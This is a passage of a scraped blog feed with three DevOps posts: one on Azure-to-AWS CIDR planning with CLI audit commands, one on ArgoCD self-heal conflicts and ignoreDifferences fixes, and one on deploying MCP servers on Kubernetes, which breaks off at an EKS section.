&lt;p&gt;The most common cause of migration CIDR problems is starting the AWS-side design before fully knowing the Azure-side address space. Run this across every VNet in scope — not just the one hosting the current wave's servers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az network vnet list --query &lt;span class="s1"&gt;'[].{Name:name, CIDR:addressSpace.addressPrefixes}'&lt;/span&gt; -o table
az network vnet subnet list --vnet-name &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;vnet-name&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; --resource-group &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;rg-name&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; \
  --query &lt;span class="s1"&gt;'[].{Name:name, CIDR:addressPrefix}'&lt;/span&gt; -o table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the organization has grown through acquisition or multiple teams provisioning Azure independently, don't assume VNet CIDRs were coordinated centrally. A VNet audited late — after the target VPC's early tiers are already locked in — might turn out to need a range that only fits in whatever's left over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Overlap Matters Even Without Hybrid Connectivity
&lt;/h2&gt;

&lt;p&gt;The "we're leaving Azure behind anyway" assumption holds right up until one of these scenarios appears — and they appear in nearly every real migration:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rollback plans&lt;/strong&gt; that require the Azure source and AWS target to be reachable from each other during a validation window, via VPN or equivalent — unusable if CIDRs overlap, full stop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Phased migrations&lt;/strong&gt; where some services remain on Azure while others move to AWS, and the two environments need to communicate during the transition.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Future merges&lt;/strong&gt; with another AWS Organization or cloud footprint that happens to use the same range — unlikely to be on anyone's mind during the current migration, but a recurring cause of expensive re-IP projects years later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Treat overlap avoidance as a hard requirement for every migration, not just ones with a known hybrid connectivity need at planning time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building the Reconciliation Table
&lt;/h2&gt;

&lt;p&gt;Once every Azure VNet's CIDR is documented, build an explicit table of every range in use across both clouds:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Environment&lt;/th&gt;
&lt;th&gt;CIDR&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Azure VNet: prod-eastus&lt;/td&gt;
&lt;td&gt;10.20.0.0/16&lt;/td&gt;
&lt;td&gt;Source, in use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure VNet: dev-eastus&lt;/td&gt;
&lt;td&gt;10.21.0.0/16&lt;/td&gt;
&lt;td&gt;Source, in use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure VNet: shared-services&lt;/td&gt;
&lt;td&gt;10.30.0.0/16&lt;/td&gt;
&lt;td&gt;Source, staying on Azure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS VPC: migration-target (proposed)&lt;/td&gt;
&lt;td&gt;10.0.0.0/16&lt;/td&gt;
&lt;td&gt;Proposed — needs validation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The proposed AWS range only gets marked valid once it's confirmed non-overlapping against every row — including VNets that aren't being migrated but will remain on Azure indefinitely. A range colliding with a permanently-staying VNet is just as blocking as one colliding with a VNet you're actively migrating away from.&lt;/p&gt;

&lt;h2&gt;
  
  
  The MGN Staging Subnet Deserves Its Own Allocation
&lt;/h2&gt;

&lt;p&gt;The staging subnet MGN uses to receive replicated data should be a deliberate, separate row in the tier table — not squeezed into whatever subnet has spare capacity:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/16   vpc-migration-target
├── 10.0.0.0/24      public
├── 10.0.16.0/20     private/app
├── 10.0.64.0/24     data
├── 10.0.100.0/24    mgn-staging          ← new, migration-specific
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two reasons this matters: staging infrastructure is &lt;strong&gt;temporary&lt;/strong&gt; — present only for active migration waves and safe to fully decommission after cutover. Mixing it into a permanent tier makes cleanup harder to reason about. And a dedicated subnet makes it trivial to apply a tightly scoped security group and NACL specific to replication traffic, rather than inheriting the public tier's broader ruleset.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;/24&lt;/code&gt; (251 usable addresses) comfortably supports a wave of dozens of concurrent source servers. For unusually large waves, size explicitly against planned concurrent server count rather than assuming &lt;code&gt;/24&lt;/code&gt; is always sufficient.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reserve Headroom for Later Waves
&lt;/h2&gt;

&lt;p&gt;For multi-wave migrations, the target VPC needs headroom for VNets that haven't been audited yet at the time the first wave's CIDR plan is locked in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/16   vpc-migration-target
├── 10.0.0.0/24      public                    (wave 1)
├── 10.0.16.0/20     private/app — wave 1
├── 10.0.64.0/24     data — wave 1
├── 10.0.100.0/24    mgn-staging
├── 10.0.128.0/18    RESERVED — wave 2 (finance VNet, not yet audited)
├── 10.0.192.0/18    RESERVED — future waves
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reserve entire unused CIDR ranges, not just gaps between adjacent subnets. "Whatever's left over" is a much worse position to negotiate from than reserving room deliberately from the start.&lt;/p&gt;

&lt;h2&gt;
  
  
  DNS Coexistence During the Transition Window
&lt;/h2&gt;

&lt;p&gt;CIDR reconciliation solves whether IP ranges can coexist — it doesn't solve whether names resolve correctly across both environments. For phased migrations where wave-one AWS services need to be reachable by private DNS name from wave-two Azure services, you need deliberate DNS forwarding:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Azure Private DNS zones need conditional forwarding rules pointing at a resolver reachable in the AWS VPC (Route 53 Resolver inbound endpoint or the VPC's &lt;code&gt;.2&lt;/code&gt; resolver address)&lt;/li&gt;
&lt;li&gt;The reverse direction needs equivalent configuration on the AWS side&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Skipping this doesn't fail loudly — it fails as intermittent-looking connectivity issues that look like application bugs rather than a missing DNS forwarding rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validate Before the First Server Replicates
&lt;/h2&gt;

&lt;p&gt;Before starting MGN replication for a wave's first server, validate empirically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# From an Azure VM — confirm no undocumented overlap or peering&lt;/span&gt;
ip route show &lt;span class="o"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;"10\.(0|20|21|30)\."&lt;/span&gt;

&lt;span class="c"&gt;# From AWS — confirm staging subnet CIDR matches the plan&lt;/span&gt;
aws ec2 describe-subnets --filters &lt;span class="s2"&gt;"Name=tag:Name,Values=mgn-staging"&lt;/span&gt; \
  --query &lt;span class="s1"&gt;'Subnets[*].{Subnet:SubnetId, CIDR:CidrBlock}'&lt;/span&gt; --output table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This catches two recurring classes of mistake cheaply: a route on the Azure side hinting at a connection the audit missed, and a staging subnet provisioned with a different CIDR than the plan called for — easy to happen when a subnet is created manually or from a stale template.&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full post covers additional depth on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The complete pre-wave CIDR checklist — five explicit gates to confirm before locking in a target VPC CIDR for any new wave&lt;/li&gt;
&lt;li&gt;Tier-to-tier mapping between Azure VNet subnets and AWS VPC tiers, including the &lt;code&gt;AzureBastionSubnet&lt;/code&gt; decision&lt;/li&gt;
&lt;li&gt;How this connects to the kernel fix and serial console recovery incidents from earlier in the series — the same "should have caught this before the maintenance window" cost pattern&lt;/li&gt;
&lt;li&gt;Why the overlap problem compounds specifically in phased migrations vs. lift-and-shift&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/aws-migration-cidr-planning/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=aws-migration-cidr-planning" rel="noopener noreferrer"&gt;CIDR Planning for Azure-to-AWS Migrations — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>azure</category>
      <category>migration</category>
      <category>networking</category>
    </item>
    <item>
      <title>Drift, Self-Heal, and Failure Modes: When ArgoCD's Reconciliation Loop Fights Something Else</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Wed, 21 Oct 2026 07:02:02 +0000</pubDate>
      <link>https://dev.to/aloknecessary/drift-self-heal-and-failure-modes-when-argocds-reconciliation-loop-fights-something-else-2plm</link>
      <guid>https://dev.to/aloknecessary/drift-self-heal-and-failure-modes-when-argocds-reconciliation-loop-fights-something-else-2plm</guid>
      <description>&lt;p&gt;Auto-sync and self-heal are usually presented as unambiguous wins. They are — right up until something else in the cluster has a legitimate reason to change the same resource ArgoCD thinks it owns exclusively. When that happens, the result isn't a clear error. It's a quiet oscillation that looks like ArgoCD misbehaving, when it's actually doing exactly what it was told.&lt;/p&gt;

&lt;p&gt;This article maps the three most common shapes of that collision, why each one happens, and the precise fix for each.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Self-Heal Actually Does
&lt;/h2&gt;

&lt;p&gt;ArgoCD's &lt;code&gt;OutOfSync&lt;/code&gt; status means live cluster state doesn't match what's declared in Git. With &lt;code&gt;selfHeal: true&lt;/code&gt;, ArgoCD doesn't just refuse to accept the drift — it actively overwrites it back to the Git-declared state on every reconciliation pass.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;syncPolicy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;automated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;prune&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="na"&gt;selfHeal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the right default for almost everything a Deployment touches directly. The failure modes below all share one shape: a resource ArgoCD considers itself the sole owner of is also, legitimately, being modified by something else that has no idea ArgoCD exists.&lt;/p&gt;




&lt;h2&gt;
  
  
  HPA vs. Self-Heal: The Replica Count Fight
&lt;/h2&gt;

&lt;p&gt;This is the most common collision. A &lt;code&gt;HorizontalPodAutoscaler&lt;/code&gt; manages &lt;code&gt;spec.replicas&lt;/code&gt; dynamically. Git, in a naive GitOps setup, also declares &lt;code&gt;spec.replicas&lt;/code&gt;. The result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Load spikes ──► HPA scales Deployment to 8 replicas
                        │
                        ▼
        ArgoCD reconciliation runs
                        │
                        ▼
        Live replicas (8) != Git-declared replicas (3)
                        │
                        ▼
        selfHeal reverts Deployment back to 3 replicas
                        │
                        ▼
        HPA scales back to 8
                        │
                        └──── repeats every reconciliation interval
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At a 3-minute reconciliation interval during a traffic spike, this produces roughly ten full oscillation cycles over 30 minutes — the service spends a meaningful fraction of the spike window under-provisioned, and the sawtoothing replica count reads as ArgoCD being broken rather than working exactly as configured.&lt;/p&gt;

&lt;p&gt;The fix is &lt;code&gt;ignoreDifferences&lt;/code&gt; scoped to that field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Application&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;checkout-service&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;ignoreDifferences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps&lt;/span&gt;
      &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deployment&lt;/span&gt;
      &lt;span class="na"&gt;jsonPointers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/spec/replicas&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ArgoCD stops treating &lt;code&gt;spec.replicas&lt;/code&gt; as part of what it reconciles for this resource. The HPA becomes the sole owner of that field. Worth auditing across every HPA-managed Deployment in a fleet before &lt;code&gt;selfHeal: true&lt;/code&gt; is enabled fleet-wide — not reactively after the first incident.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sync Waves and Partial Failure
&lt;/h2&gt;

&lt;p&gt;Sync-wave ordering is a &lt;em&gt;sequencing&lt;/em&gt; guarantee, not a &lt;em&gt;transactional&lt;/em&gt; one. A wave-0 database migration Job that fails partway through doesn't roll back what wave-1 already applied — the Deployment's Pods may already be running against a schema mid-migration before ArgoCD retries wave 0.&lt;/p&gt;

&lt;p&gt;For anything where partial application genuinely can't be tolerated, a &lt;code&gt;PreSync&lt;/code&gt; hook with &lt;code&gt;hook-failure-policy: Abort&lt;/code&gt; is the safer pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;argocd.argoproj.io/hook&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;PreSync&lt;/span&gt;
    &lt;span class="na"&gt;argocd.argoproj.io/hook-failure-policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Abort&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Abort&lt;/code&gt; stops the entire sync — including later waves — the moment the hook fails, rather than leaving later waves to apply against a database that's still mid-migration. Self-heal's retry behavior on a failed wave is useful for transient failures; it's the wrong tool when partial application has real consequences.&lt;/p&gt;




&lt;h2&gt;
  
  
  Operators Mutating ArgoCD-Owned Resources
&lt;/h2&gt;

&lt;p&gt;The third shape is structurally identical to the HPA case: a Kubernetes operator — a cert-manager controller, a service mesh sidecar injector, a mutating admission webhook — modifying a field on a resource ArgoCD also tracks. ArgoCD sees a live-vs-Git diff, self-heal reverts it, the operator re-mutates it, and the oscillation repeats.&lt;/p&gt;

&lt;p&gt;The fix is identical — &lt;code&gt;ignoreDifferences&lt;/code&gt; scoped to the contested field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;ignoreDifferences&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;group&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
      &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Pod&lt;/span&gt;
      &lt;span class="na"&gt;jsonPointers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="s"&gt;/spec/containers/0/resources&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The harder part isn't the fix — it's noticing the collision exists. Unlike the HPA case, which announces itself through a visibly oscillating replica count, a webhook fight over a less visible field presents as intermittent &lt;code&gt;OutOfSync&lt;/code&gt; with no obvious pattern. When an Application shows unexplained intermittent drift, check &lt;code&gt;kubectl get events&lt;/code&gt; on the affected resource and the list of registered mutating webhooks before assuming the drift is a Git or ArgoCD problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Decision Framework
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symptom&lt;/th&gt;
&lt;th&gt;Likely cause&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Replica count oscillates on a fixed interval&lt;/td&gt;
&lt;td&gt;HPA fighting a Git-declared &lt;code&gt;spec.replicas&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ignoreDifferences&lt;/code&gt; on &lt;code&gt;/spec/replicas&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Downstream Application fails with no clear cause after a transient upstream wave failure&lt;/td&gt;
&lt;td&gt;Sync-wave retry without transactional guarantees&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;PreSync&lt;/code&gt; hook with &lt;code&gt;hook-failure-policy: Abort&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;OutOfSync&lt;/code&gt; appears and clears with no clear pattern on a specific field&lt;/td&gt;
&lt;td&gt;Mutating webhook or operator modifying a field ArgoCD tracks&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ignoreDifferences&lt;/code&gt; scoped to the contested field&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unclear which field is contested&lt;/td&gt;
&lt;td&gt;Diff noise&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;argocd app diff &amp;lt;app-name&amp;gt;&lt;/code&gt; against live state to identify the exact field before scoping &lt;code&gt;ignoreDifferences&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full article covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The precise mechanism of &lt;code&gt;selfHeal: true&lt;/code&gt; and why it's correct by default&lt;/li&gt;
&lt;li&gt;The HPA oscillation failure at real numbers — 10 oscillation cycles over a 30-minute traffic spike, what it looks like on a dashboard, and why it reads as ArgoCD being broken&lt;/li&gt;
&lt;li&gt;The sync-wave partial failure scenario in detail — a backfill Job, a lock timeout, and application code reading nulls it wasn't written to handle&lt;/li&gt;
&lt;li&gt;The service mesh sidecar injector collision — why it presents as intermittent &lt;code&gt;OutOfSync&lt;/code&gt; with no obvious trigger, and how to trace it to the actual controller&lt;/li&gt;
&lt;li&gt;Series takeaways across all six articles — the thread connecting hub-and-spoke architecture, ApplicationSets, CI handoff, secrets management, progressive delivery, and failure modes into one coherent GitOps discipline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/gitops-drift-self-heal-failure-modes/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=gitops-drift-self-heal-failure-modes" rel="noopener noreferrer"&gt;Drift, Self-Heal, and Failure Modes — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>kubernetes</category>
      <category>argocd</category>
      <category>gitops</category>
    </item>
    <item>
      <title>Deploying MCP Servers on Kubernetes</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Fri, 16 Oct 2026 06:30:46 +0000</pubDate>
      <link>https://dev.to/aloknecessary/deploying-mcp-servers-on-kubernetes-3435</link>
      <guid>https://dev.to/aloknecessary/deploying-mcp-servers-on-kubernetes-3435</guid>
      <description>&lt;p&gt;Most MCP servers start life as a local, stdio-based process — the client spawns the server as a child process, messages flow over stdin and stdout. The instinct once that server needs to serve more than one client is to containerize it and expose a port. That instinct produces a container that starts, passes a naive health check, and then does nothing useful.&lt;/p&gt;

&lt;p&gt;A process reading from stdin and writing to stdout inside a container has no listener, no port, nothing for a Kubernetes Service to route traffic toward. The fix isn't a networking change — it's a transport change in the server itself, from stdio to Streamable HTTP, before Kubernetes enters the picture at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  The image
&lt;/h2&gt;

&lt;p&gt;The Dockerfile is unremarkable by design — the interesting decisions happen in the manifests, not the image. What matters is that the process binds to HTTP transport, not stdio, as its entrypoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt; node:22-slim AS builder
&lt;span class="k"&gt;WORKDIR&lt;/span&gt; /app
&lt;span class="k"&gt;COPY&lt;/span&gt; package*.json ./
&lt;span class="k"&gt;RUN&lt;/span&gt; npm ci --omit=dev
&lt;span class="k"&gt;COPY&lt;/span&gt; . .
&lt;span class="k"&gt;RUN&lt;/span&gt; npm run build

&lt;span class="k"&gt;FROM&lt;/span&gt; node:22-slim
&lt;span class="k"&gt;WORKDIR&lt;/span&gt; /app
&lt;span class="k"&gt;COPY&lt;/span&gt; --from=builder /app/dist ./dist
&lt;span class="k"&gt;COPY&lt;/span&gt; --from=builder /app/node_modules ./node_modules
&lt;span class="k"&gt;ENV&lt;/span&gt; &lt;span class="nv"&gt;MCP_TRANSPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;streamable-http
&lt;span class="k"&gt;ENV&lt;/span&gt; &lt;span class="nv"&gt;MCP_HTTP_ADDR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.0.0.0:8080
&lt;span class="k"&gt;ENV&lt;/span&gt; &lt;span class="nv"&gt;MCP_HTTP_ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/mcp
&lt;span class="k"&gt;EXPOSE&lt;/span&gt; 8080
&lt;span class="k"&gt;USER&lt;/span&gt; node
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;, &lt;span class="s2"&gt;"dist/server.js"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The three &lt;code&gt;MCP_*&lt;/code&gt; variables mirror the flags production-grade MCP server implementations expose for choosing transport mode at startup. Transport, bind address, and endpoint path all need to be explicit and set at deploy time, not hardcoded into the binary.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Deployment — probes that understand the workload
&lt;/h2&gt;

&lt;p&gt;An MCP server mid-tool-call is not the same thing as a hung process. The probes need to say so explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/health&lt;/span&gt;          &lt;span class="c1"&gt;# answers: is the process itself alive?
&lt;/span&gt;    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
  &lt;span class="na"&gt;timeoutSeconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;      &lt;span class="c1"&gt;# ~45s of true unresponsiveness before restart
&lt;/span&gt;
&lt;span class="na"&gt;readinessProbe&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/ready&lt;/span&gt;            &lt;span class="c1"&gt;# answers: can this pod accept new work right now?
&lt;/span&gt;    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/health&lt;/code&gt; should do nothing more than confirm the process's event loop is running — never block on the status of an in-progress tool call. &lt;code&gt;/ready&lt;/code&gt; reflects capacity: a pod mid-reasoning can report itself not-ready for new work without being treated as dead.&lt;/p&gt;

&lt;p&gt;Two other details in the Deployment matter: &lt;code&gt;terminationGracePeriodSeconds: 45&lt;/code&gt; (the default 30s is a poor fit for a process that might be mid-tool-call during a rolling update), and resource requests set deliberately modest relative to limits — MCP servers spend most of their wall-clock time waiting on outbound I/O, not computing locally.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Service — the payoff of stateless transport
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Service&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mcp-server&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mcp-server&lt;/span&gt;
  &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
      &lt;span class="na"&gt;targetPort&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No session affinity. No cookie-based stickiness annotation. Nothing beyond ordinary load balancing. This is the direct payoff of the July 2026 MCP spec removing the protocol-level session — any request can land on any pod, so the Service stays genuinely simple.&lt;/p&gt;




&lt;h2&gt;
  
  
  EKS: IRSA for short-lived credentials
&lt;/h2&gt;

